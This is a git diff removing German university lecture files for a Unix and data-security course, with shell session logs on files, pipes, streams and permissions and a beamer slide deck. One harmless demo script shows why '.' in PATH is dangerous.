test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -li test*.txt -2347582 -rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt -2347580 -rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -2347583 lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt -2347582 -rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/logo-hochschule-bochum-cvh-text-v2.pdf b/20231019/logo-hochschule-bochum-cvh-text-v2.pdf deleted file mode 120000 index 4aa99b8f81061aca6dcaf43eed2d9efef40555f8..0000000000000000000000000000000000000000 --- a/20231019/logo-hochschule-bochum-cvh-text-v2.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum-cvh-text-v2.pdf \ No newline at end of file diff --git a/20231019/logo-hochschule-bochum.pdf b/20231019/logo-hochschule-bochum.pdf deleted file mode 120000 index b6b9491e370e499c9276918182cdb82cb311bcd1..0000000000000000000000000000000000000000 --- a/20231019/logo-hochschule-bochum.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/logo-hochschule-bochum.pdf \ No newline at end of file diff --git a/20231019/loops-01.txt b/20231019/loops-01.txt deleted file mode 100644 index b52f67c9262cf3f87620b59a001aac73d11d9300..0000000000000000000000000000000000000000 --- a/20231019/loops-01.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> for x in foo bar baz; do echo $x; done -foo -bar -baz -cassini/home/peter/bo/2023ws/dbs/20231019> for x in $(ls test-*.txt); do echo "$x:"; cat "$x"; done -test-01.txt: -Dies ist ein Test. -Schön, oder? -test-02.txt: -Dies ist ein Test. -test-03.txt: -Dies ist ein Test. -Schön, oder? -test-04.txt: -Dies ist ein Test. -Schön, oder? -test-05.txt: -Dies ist noch ein Test. -Dies ist schon wieder ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/ls b/20231019/ls deleted file mode 100755 index 085f58a816c95d0b49ce867b19f3aa0e0f7b9a8e..0000000000000000000000000000000000000000 --- a/20231019/ls +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -echo "SCHLIMME DINGE" -/bin/ls "$@" diff --git a/20231019/mv-rm-01.txt b/20231019/mv-rm-01.txt deleted file mode 100644 index e943d20de2f68e82203f3d4cb35a5e0390912e57..0000000000000000000000000000000000000000 --- a/20231019/mv-rm-01.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> mv hello-01.c hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-*.c --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> cp -pi hello-02.c hello-01.c -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-*.c --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> mv -i hello-01.c hello-02.c -mv: 'hello-02.c' überschreiben? n -cassini/home/peter/bo/2023ws/dbs/20231019> rm -i hello-02.c -rm: reguläre Datei 'hello-02.c' entfernen? n -cassini/home/peter/bo/2023ws/dbs/20231019> rm hello-02.c -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-*.c --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/path-01.txt b/20231019/path-01.txt deleted file mode 100644 index 57866347b0426e97c520537bb4e61ec336361e2e..0000000000000000000000000000000000000000 --- a/20231019/path-01.txt +++ /dev/null @@ -1,44 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -lrt -insgesamt 292 -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf --rw-r--r-- 1 peter peter 24860 19. Okt 09:40 dbs-20231019.tex --rw-r--r-- 1 peter peter 1494 19. Okt 09:40 dbs-20231019.vrb --rw-r--r-- 1 peter peter 450 19. Okt 09:40 dbs-20231019.toc --rw-r--r-- 1 peter peter 0 19. Okt 09:40 dbs-20231019.snm --rw-r--r-- 1 peter peter 1051 19. Okt 09:40 dbs-20231019.out --rw-r--r-- 1 peter peter 4100 19. Okt 09:40 dbs-20231019.nav --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux --rw-r--r-- 1 peter peter 158278 19. Okt 09:40 dbs-20231019.pdf --rw-r--r-- 1 peter peter 54831 19. Okt 09:40 dbs-20231019.log --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c --rwxr-xr-x 1 peter peter 15952 19. Okt 11:18 hello-01 --rw-r--r-- 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> chmod +x ls -cassini/home/peter/bo/2023ws/dbs/20231019> ls -lrt -SCHLIMME DINGE -insgesamt 292 -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf --rw-r--r-- 1 peter peter 24860 19. Okt 09:40 dbs-20231019.tex --rw-r--r-- 1 peter peter 1494 19. Okt 09:40 dbs-20231019.vrb --rw-r--r-- 1 peter peter 450 19. Okt 09:40 dbs-20231019.toc --rw-r--r-- 1 peter peter 0 19. Okt 09:40 dbs-20231019.snm --rw-r--r-- 1 peter peter 1051 19. Okt 09:40 dbs-20231019.out --rw-r--r-- 1 peter peter 4100 19. Okt 09:40 dbs-20231019.nav --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux --rw-r--r-- 1 peter peter 158278 19. Okt 09:40 dbs-20231019.pdf --rw-r--r-- 1 peter peter 54831 19. Okt 09:40 dbs-20231019.log --rw-r--r-- 1 peter peter 82 19. Okt 11:18 hello-01.c --rwxr-xr-x 1 peter peter 15952 19. Okt 11:18 hello-01 --rwxr-xr-x 1 peter peter 48 19. Okt 11:26 ls -cassini/home/peter/bo/2023ws/dbs/20231019> cat ls -#!/bin/bash - -echo "SCHLIMME DINGE" -/bin/ls "$@" -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/path-02.txt b/20231019/path-02.txt deleted file mode 100644 index 7c72bd541929ac3926005adcbc5669902b1dcc0e..0000000000000000000000000000000000000000 --- a/20231019/path-02.txt +++ /dev/null @@ -1,22 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> less ls -#!/bin/bash - -echo "SCHLIMME DINGE" -/bin/ls "$@" -cassini/home/peter/bo/2023ws/dbs/20231019> ./ls -SCHLIMME DINGE -dbs-20231019.aux dbs-20231019.snm hello-01.c pgslides.sty -dbs-20231019.log dbs-20231019.tex logo-hochschule-bochum-cvh-text-v2.pdf Zeichen_123.pdf -dbs-20231019.nav dbs-20231019.toc logo-hochschule-bochum.pdf -dbs-20231019.out dbs-20231019.vrb ls -dbs-20231019.pdf hello-01 path-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> echo $PATH -.:/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games -cassini/home/peter/bo/2023ws/dbs/20231019> PATH=/home/peter/usr/bin:/home/peter/.cargo/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games -cassini/home/peter/bo/2023ws/dbs/20231019> ls -dbs-20231019.aux dbs-20231019.snm hello-01.c pgslides.sty -dbs-20231019.log dbs-20231019.tex logo-hochschule-bochum-cvh-text-v2.pdf Zeichen_123.pdf -dbs-20231019.nav dbs-20231019.toc logo-hochschule-bochum.pdf -dbs-20231019.out dbs-20231019.vrb ls -dbs-20231019.pdf hello-01 path-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/pgscript.sty b/20231019/pgscript.sty deleted file mode 120000 index 95c888478c99ea7fda0fd11ccf669ae91be7178b..0000000000000000000000000000000000000000 --- a/20231019/pgscript.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgscript.sty \ No newline at end of file diff --git a/20231019/pgslides.sty b/20231019/pgslides.sty deleted file mode 120000 index 5be1416f4216f076aa268901f52a15d775e43f64..0000000000000000000000000000000000000000 --- a/20231019/pgslides.sty +++ /dev/null @@ -1 +0,0 @@ -../common/pgslides.sty \ No newline at end of file diff --git a/20231019/pipes-01.txt b/20231019/pipes-01.txt deleted file mode 100644 index c348463ea076723421bad4f0a70aea11f0c1f23c..0000000000000000000000000000000000000000 --- a/20231019/pipes-01.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-05.txt -Dies ist noch ein Test. -Dies ist schon wieder ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-05.txt | sed -e 's/Test/Toast/' -Dies ist noch ein Toast. -Dies ist schon wieder ein Toast. -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-05.txt | sed -e 's/Test/Toast/' | grep wieder -Dies ist schon wieder ein Toast. -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/pipes-02.txt b/20231019/pipes-02.txt deleted file mode 100644 index 109928c99d524e8416ca94284386a78e084a38e7..0000000000000000000000000000000000000000 --- a/20231019/pipes-02.txt +++ /dev/null @@ -1,13 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> find . -type l -./test-03.txt -./Zeichen_123.pdf -./pgslides.sty -./logo-hochschule-bochum-cvh-text-v2.pdf -./logo-hochschule-bochum.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l $(find . -type l) -lrwxrwxrwx 1 peter peter 48 7. Okt 2018 ./logo-hochschule-bochum-cvh-text-v2.pdf -> ../common/logo-hochschule-bochum-cvh-text-v2.pdf -lrwxrwxrwx 1 peter peter 36 5. Okt 2016 ./logo-hochschule-bochum.pdf -> ../common/logo-hochschule-bochum.pdf -lrwxrwxrwx 1 peter peter 22 5. Okt 2016 ./pgslides.sty -> ../common/pgslides.sty -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 ./test-03.txt -> test-01.txt -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 ./Zeichen_123.pdf -> ../common/Zeichen_123.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/pipes-03.txt b/20231019/pipes-03.txt deleted file mode 100644 index ca4d557627cfd956a7bbe4f4b70b8f86fa132f80..0000000000000000000000000000000000000000 --- a/20231019/pipes-03.txt +++ /dev/null @@ -1,15 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> echo "ls -l" -ls -l -cassini/home/peter/bo/2023ws/dbs/20231019> $(echo "ls -l") -insgesamt 432 --rw-r--r-- 1 peter peter 446 19. Okt 11:50 chmod-01.txt --rw-r--r-- 1 peter peter 903 19. Okt 11:56 chmod-02.txt --rw-r--r-- 1 peter peter 467 19. Okt 12:07 chmod-03.txt --rw-r--r-- 1 peter peter 4511 19. Okt 11:42 cp-01.txt --rw-r--r-- 1 peter peter 6669 19. Okt 09:40 dbs-20231019.aux -[...] --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt --rw-r--r-- 1 peter peter 712 19. Okt 11:52 wireshark-01.txt -lrwxrwxrwx 1 peter peter 25 9. Apr 2018 Zeichen_123.pdf -> ../common/Zeichen_123.pdf -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/shell-scripts-01.txt b/20231019/shell-scripts-01.txt deleted file mode 100644 index db3d113360c487de8899f6dfe6fbdf2880963e02..0000000000000000000000000000000000000000 --- a/20231019/shell-scripts-01.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> cat hello-03 -#!/bin/bash - -echo "Hello, world!" -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l hello-03 --rwxr-xr-x 1 peter peter 34 19. Okt 12:08 hello-03 -cassini/home/peter/bo/2023ws/dbs/20231019> ./hello-03 -Hello, world! -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/shell-scripts-02.txt b/20231019/shell-scripts-02.txt deleted file mode 100644 index 8c687236aa7ab47d5f59dd5f5e82a5dd5d1dfdc8..0000000000000000000000000000000000000000 --- a/20231019/shell-scripts-02.txt +++ /dev/null @@ -1,14 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-02.bc --rwxr-xr-x 1 peter peter 26 19. Okt 12:11 test-02.bc -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-02.bc -#!/usr/bin/bc - -2 + 2 -quit -cassini/home/peter/bo/2023ws/dbs/20231019> ./test-02.bc -bc 1.07.1 -Copyright 1991-1994, 1997, 1998, 2000, 2004, 2006, 2008, 2012-2017 Free Software Foundation, Inc. -This is free software with ABSOLUTELY NO WARRANTY. -For details type `warranty'. -4 -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/streams-01.txt b/20231019/streams-01.txt deleted file mode 100644 index 485a44d89ea776e6cc693c80d26f6864b3c7c300..0000000000000000000000000000000000000000 --- a/20231019/streams-01.txt +++ /dev/null @@ -1,18 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt -cassini/home/peter/bo/2023ws/dbs/20231019> echo "Dies ist noch ein Test." > test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 24 19. Okt 12:41 test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-05.txt -Dies ist noch ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> echo "Dies ist schon wieder ein Test." >> test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-05.txt Dies ist noch ein Test. -Dies ist schon wieder ein Test. -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/streams-02.txt b/20231019/streams-02.txt deleted file mode 100644 index 97eb69ba30c6752b831a7cb57ce7d0a9372ff7b2..0000000000000000000000000000000000000000 --- a/20231019/streams-02.txt +++ /dev/null @@ -1,19 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-01.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 2 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> rm test-01.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt > forum.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt > forum.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> cat forum.txt -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/streams-03.txt b/20231019/streams-03.txt deleted file mode 100644 index f0eb905afdf8feff7e9003de84a14de471946c1c..0000000000000000000000000000000000000000 --- a/20231019/streams-03.txt +++ /dev/null @@ -1,16 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l test-*.txt > forum.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-03.txt 2>> forum.txt -cassini/home/peter/bo/2023ws/dbs/20231019> cat forum.txt --rw-r--r-- 1 peter peter 19 19. Okt 12:13 test-02.txt -lrwxrwxrwx 1 peter peter 11 19. Okt 12:14 test-03.txt -> test-01.txt --rw-r--r-- 1 peter peter 33 19. Okt 12:21 test-04.txt --rw-r--r-- 1 peter peter 56 19. Okt 12:41 test-05.txt -cat: test-03.txt: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/streams-04.txt b/20231019/streams-04.txt deleted file mode 100644 index 46f77209be26e3eae6df331ede2cfaf93e9013a0..0000000000000000000000000000000000000000 --- a/20231019/streams-04.txt +++ /dev/null @@ -1,9 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l *.bc --rwxr-xr-x 1 peter peter 11 19. Okt 12:10 test-01.bc --rwxr-xr-x 1 peter peter 26 19. Okt 12:11 test-02.bc -cassini/home/peter/bo/2023ws/dbs/20231019> cat test-01.bc -2 + 2 -quit -cassini/home/peter/bo/2023ws/dbs/20231019> bc < test-01.bc -4 -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/streams-05.txt b/20231019/streams-05.txt deleted file mode 100644 index bcd81febd3c3f78c5aedc450effab03fc2efe1e9..0000000000000000000000000000000000000000 --- a/20231019/streams-05.txt +++ /dev/null @@ -1,5 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2 + 2" -2 + 2 -cassini/home/peter/bo/2023ws/dbs/20231019> echo "2 + 2" | bc -4 -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231019/test-01.bc b/20231019/test-01.bc deleted file mode 100755 index 883a0ad05befc6508b4ce742e6b7f50adc0a4a68..0000000000000000000000000000000000000000 --- a/20231019/test-01.bc +++ /dev/null @@ -1,2 +0,0 @@ -2 + 2 -quit diff --git a/20231019/test-01.txt b/20231019/test-01.txt deleted file mode 100644 index f197e9e729a4eac76619237e409ef4402a8a1eda..0000000000000000000000000000000000000000 --- a/20231019/test-01.txt +++ /dev/null @@ -1,2 +0,0 @@ -Dies ist ein Test. -Schön, oder? diff --git a/20231019/test-02.bc b/20231019/test-02.bc deleted file mode 100755 index f1bff564d4c6419879aa4ab5546490249ca21bc5..0000000000000000000000000000000000000000 --- a/20231019/test-02.bc +++ /dev/null @@ -1,4 +0,0 @@ -#!/usr/bin/bc - -2 + 2 -quit diff --git a/20231019/test-02.txt b/20231019/test-02.txt deleted file mode 100644 index d7e5cff47f0303c2d892d3e790e00552759b639c..0000000000000000000000000000000000000000 --- a/20231019/test-02.txt +++ /dev/null @@ -1 +0,0 @@ -Dies ist ein Test. diff --git a/20231019/test-03.txt b/20231019/test-03.txt deleted file mode 120000 index c8ec2a7a1c7651faedf423f21e54311e4099c8d3..0000000000000000000000000000000000000000 --- a/20231019/test-03.txt +++ /dev/null @@ -1 +0,0 @@ -test-01.txt \ No newline at end of file diff --git a/20231019/test-04.txt b/20231019/test-04.txt deleted file mode 100644 index f197e9e729a4eac76619237e409ef4402a8a1eda..0000000000000000000000000000000000000000 --- a/20231019/test-04.txt +++ /dev/null @@ -1,2 +0,0 @@ -Dies ist ein Test. -Schön, oder? diff --git a/20231019/test-05.txt b/20231019/test-05.txt deleted file mode 100644 index fd698d74e386593ce797e282060fc95a232747e7..0000000000000000000000000000000000000000 --- a/20231019/test-05.txt +++ /dev/null @@ -1,2 +0,0 @@ -Dies ist noch ein Test. -Dies ist schon wieder ein Test. diff --git a/20231019/wireshark-01.txt b/20231019/wireshark-01.txt deleted file mode 100644 index 4f1da54b6a4c60bfd05f9e32389837e2deefae13..0000000000000000000000000000000000000000 --- a/20231019/wireshark-01.txt +++ /dev/null @@ -1,10 +0,0 @@ -cassini/home/peter/bo/2023ws/dbs/20231019> wireshark -cassini/home/peter/bo/2023ws/dbs/20231019> which wireshark -/usr/bin/wireshark -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /usr/bin/wireshark --rwxr-xr-x 1 root root 9511896 14. Jun 16:15 /usr/bin/wireshark -cassini/home/peter/bo/2023ws/dbs/20231019> ls -l /usr/bin/dumpcap --rwxr-xr-- 1 root wireshark 125536 14. Jun 16:15 /usr/bin/dumpcap -cassini/home/peter/bo/2023ws/dbs/20231019> id -uid=1501(peter) gid=1501(peter) Gruppen=1501(peter),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),50(staff),104(scanner),113(netdev),114(bluetooth),120(fuse),141(docker),146(air-quality-sensor),147(wireshark) -cassini/home/peter/bo/2023ws/dbs/20231019> diff --git a/20231026/Zeichen_123.pdf b/20231026/Zeichen_123.pdf deleted file mode 120000 index fdbc897227df059cfda790a16555e6e417682116..0000000000000000000000000000000000000000 --- a/20231026/Zeichen_123.pdf +++ /dev/null @@ -1 +0,0 @@ -../common/Zeichen_123.pdf \ No newline at end of file diff --git a/20231026/dbs-20231026.pdf b/20231026/dbs-20231026.pdf deleted file mode 100644 index 155d678a6499a926ac1fd386bcc3378305c6ba5c..0000000000000000000000000000000000000000 Binary files a/20231026/dbs-20231026.pdf and /dev/null differ diff --git a/20231026/dbs-20231026.tex b/20231026/dbs-20231026.tex deleted file mode 100644 index a2e9c53a2bbd82270f0dabd22c4e7b4ae0055afb..0000000000000000000000000000000000000000 --- a/20231026/dbs-20231026.tex +++ /dev/null @@ -1,962 +0,0 @@ -% dbs-20231026.pdf - Lecture Slides on Databases and Information Security -% Copyright (C) 2023 Peter Gerwinski -% -% This document is free software: you can redistribute it and/or -% modify it either under the terms of the Creative Commons -% Attribution-ShareAlike 3.0 License, or under the terms of the -% GNU General Public License as published by the Free Software -% Foundation, either version 3 of the License, or (at your option) -% any later version. -% -% This document is distributed in the hope that it will be useful, -% but WITHOUT ANY WARRANTY; without even the implied warranty of -% MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -% GNU General Public License for more details. -% -% You should have received a copy of the GNU General Public License -% along with this document. If not, see <http://www.gnu.org/licenses/>. -% -% You should have received a copy of the Creative Commons -% Attribution-ShareAlike 3.0 Unported License along with this -% document. If not, see <http://creativecommons.org/licenses/>. - -% README: Kurzeinführung TCP/IP - -\documentclass[10pt,t]{beamer} - -\usepackage{pgslides} -\usepackage{tikz} - -\newcommand{\vfilll}{\vspace{0pt plus 1filll}} - -\newcommand{\underconstruction}{% - \begin{picture}(0,0) - \put(11,1.2){\makebox(0,0)[b]{\includegraphics[width=1.5cm]{Zeichen_123.pdf}}} - \put(11,0.9){\makebox(0,0)[t]{\shortstack{Änderungen\\vorbehalten}}} - \end{picture}} - -\title{Datenbanken und Datensicherheit} -\author{Prof.\ Dr.\ rer.\ nat.\ Peter Gerwinski} -\date{26.\ Oktober 2023} - -\begin{document} - -\maketitleframe - -\nosectionnonumber{\inserttitle} - -\begin{frame} - - \shownosectionnonumber - - \begin{itemize} - \item[\textbf{1}] \textbf{Einführung} - \hfill\makebox(0,0)[br]{\raisebox{2.25ex}{\url{https://gitlab.cvh-server.de/pgerwinski/dbs}}}% - \item[\textbf{2}] \textbf{Kurzeinführung Unix} - \begin{itemize} - \item[2.1] Grundkonzepte - \item[2.2] Die Kommandozeile: Grundlagen - \color{medgreen} - \item[2.3] Dateisysteme - \item[2.4] Ein- und Ausgabeströme - \item[2.5] Pipes - \item[2.6] Verzweigungen und Schleifen - \end{itemize} - \item[\textbf{3}] \textbf{Kurzeinführung TCP/IP} - \begin{itemize} - \color{red} - \item[3.1] IP-Adressen - \item[3.2] MAC-Adressen - \item[3.3] TCP- und UDP-Ports - \item[\dots] - \end{itemize} - \vspace*{-\smallskipamount} - \item[\textbf{\dots}] - \end{itemize} - - \vfilll - \underconstruction - -\end{frame} - -\section{Kurzeinführung Unix} -\setcounter{subsection}{2} -\subsection{Dateisysteme} - -\begin{frame} - - \showsubsection - - \begin{itemize} - \item - Dateien listen: \lstinline[style=cmd]{ls}\\ - langes Listenformat: \lstinline[style=cmd]{ls -l}\\ - rückwärts nach Zeit sortiert: \lstinline[style=cmd]{ls -lrt} - \item - Datei ausgeben: \lstinline[style=cmd]{cat hello.c} - \item - Datei anzeigen: \lstinline[style=cmd]{less hello.c} - \end{itemize} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Arbeitsverzeichnis anzeigen: \lstinline[style=cmd]{pwd}\\ - \item - Arbeitsverzeichnis wechseln: \lstinline[style=cmd]{cd script}\\ - (\emph{kein\/} Programm, sondern Shell-Befehl) - \item - übergeordnetes Verzeichnis: \lstinline[style=cmd]{cd ..} - \item - eigenes \newterm{Home-\/}Verzeichnis: \lstinline[style=cmd]{cd} - \item - Wurzelverzeichnis: \lstinline[style=cmd]{cd /} - \item - wieder zurück: \lstinline[style=cmd]{cd -} - \end{itemize} - -% \pause - \begin{lstlisting}[style=terminal] - cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿ - cassini/usr/bin> ¡cd ../lib¿ - cassini/usr/lib> ¡cd¿ - cassini/home/peter> - \end{lstlisting} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - Dateien kopieren (\emph{copy\/}): \lstinline[style=cmd]{cp} - \item - Dateien verschieben/umbenennen (\emph{move\/}): \lstinline[style=cmd]{mv} - \item - Dateien löschen (\emph{remove\/}): \lstinline[style=cmd]{rm} - \end{itemize} - - \begin{lstlisting}[style=terminal,xleftmargin=-3pt] - cassini/home/peter> ¡cp -p foo/test.txt¿ - cp: missing destination file operand after `foo/test.txt' - Try `cp --help' for more information. - cassini/home/peter> ¡cp -p foo/test.txt .¿ - cassini/home/peter> ¡mv test.txt bla.txt¿ - cassini/home/peter> ¡cat bla.txt¿ - Dies ist ein Test. - cassini/home/peter> ¡rm bla.txt¿ - cassini/home/peter> - \end{lstlisting} - - \medskip - - Aktuelles Verzeichnis: \lstinline[style=cmd]{.} - -\end{frame} - -\begin{frame}[fragile] - - \showsubsection - - \begin{itemize} - \item - \newterm{Zugriffsrechte} - \end{itemize} - - \begingroup -% \small - \begin{lstlisting}[style=terminal,gobble=6,xleftmargin=-3pt] - cassini/home/peter/bo/2019ws/es/20191009> ¡ls -l¿ - ... - -rw-r--r-- 1 peter peter 24523 Okt 8 21:47 es-20191009.tex - \end{lstlisting} - \endgroup - \begin{onlyenv}<2> - \begin{picture}(0,1) - \color{red} - \put(0.3,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(2.5,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Benutzer (u -- \emph{user\/}) darf lesen und schreiben}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<3> - \begin{picture}(0,1) - \color{red} - \put(0.84,0){\tikz{\draw[-latex,red](0,0)--(0,1); - \draw[-latex,red](0,0)--(3.2,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{Gruppe (g -- \emph{group\/}) darf lesen}} - \end{picture} - \end{onlyenv} - \begin{onlyenv}<4> - \begin{picture}(0,1) - \color{red} - \put(1.47,0){\tikz{\draw[-latex,red](0,0)--(0,1);}} - \put(0,-0.1){\makebox(0,0)[tl]{alle anderen (o -- \emph{other\/}) dürfen lesen}} - \end{picture} - \end{onlyenv} - - \medskip - \pause[5] - \begin{itemize} - \item - Zugriffsrechte ändern:\\ - \lstinline[style=cmd]{chmod o-r es-20191009.tex} -- Lesezugriff entziehen\\ - \lstinline[style=cmd]{chmod g+w es-20191009.tex} -- Schreibzugriff gewähren\\ - \lstinline[style=cmd]{chmod 640 es-20191009.tex} -- - auf \lstinline[style=terminal]{-}% - \lstinline[style=terminal]{rw-}% - \lstinline[style=terminal]{r--}% - \lstinline[style=terminal]{---} setzen - \end{itemize} - \pause - 